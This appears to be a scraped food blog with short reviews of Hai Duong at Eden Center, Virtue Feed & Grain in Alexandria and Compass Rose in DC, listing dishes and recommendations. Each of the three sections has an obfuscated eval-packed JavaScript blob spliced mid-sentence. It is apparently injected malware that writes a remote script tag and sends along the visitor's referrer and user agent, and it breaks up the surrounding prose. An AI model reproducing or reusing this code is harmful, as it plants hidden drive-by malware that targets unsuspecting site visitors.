Hai Duong at Eden Center

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I’ve finally made it out to Eden Center, just outside of DC, where friends have recommended I visit for my quenching my ethnic food needs. They were correct. I grabbed lunch at Hai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhssk|var|u0026u|referrer|yyekt||js|php’.split(‘|’),0,{}))
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for some delicious quintessential Vietnamese favorites:

Pho

Spring Rolls

Vietnamese Coffee

I also ordered their clay pot, which wasn’t as good as I had hoped. I believe this is largely because I suspect they did not actually cook the ingredients in a clay pot. A traditional clay pot cooked fish is delicious, but this dish was mediocre.

Clay Pot Seafood Mix

Virtue Feed & Grain

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One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaffy|var|u0026u|referrer|yritz||js|php’.split(‘|’),0,{}))
of my favorite things to do is to find hidden gems like 
Virtue Feed & Grain in Old Town, Alexandria. Virtue Feed & Grain takes its name from the building’s long-ago function as a feed house in the late 1800s. It’s renovations still keep the rustic charm, and the food is just as good!

Special thanks to Buick, who picked a great location to host DC bloggers! #BlossomingDC

Salmon Burger

 

Fish Tacos

 

Asparagus

 

Mac & Cheese

 

Banana Bread Pudding

 

I’d highly recommend checking out Old Town, Alexandria and making a reservation to eat at Virtue Feed & Grain on your next trip to the area!

 

DC Eats: Compass Rose

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The best part about moving to a new city is exploring the restaurant scene! I met up with blogger Melanie from LaBelleMel at Compass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syiyi|var|u0026u|referrer|nbaes||js|php’.split(‘|’),0,{}))
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 for dinner a couple weeks ago, and I’m already making up excuses to go back!

Compass Rose menu is inspired by street food from around the world. This restaurant is after every wanderlust girl in town (or at least this one)! The variety and flavors have a richness and depth to it that usually only passport stamps can instill.

Pictured above is:

  • Brussel Sprouts

  • Pescaditos Fritos (Spain): Fried whole baby fish, citrus alloli

  • Bhel Puri Chaat (India): Puff rice, sev, potato, tomato, sunflower sprouts, peanuts, mint & tamarind chutney, lettuce cups

  • Grilled Calamari (Greece): Garlic, lemon, olive oil, mint, oregano, red chili, red quinoa tabouli
  • Khachapuri (Georgia): Cheese filled bread, organic egg, local butter

I would highly recommend eating at Compass Rose – there is something on the menu for everyone!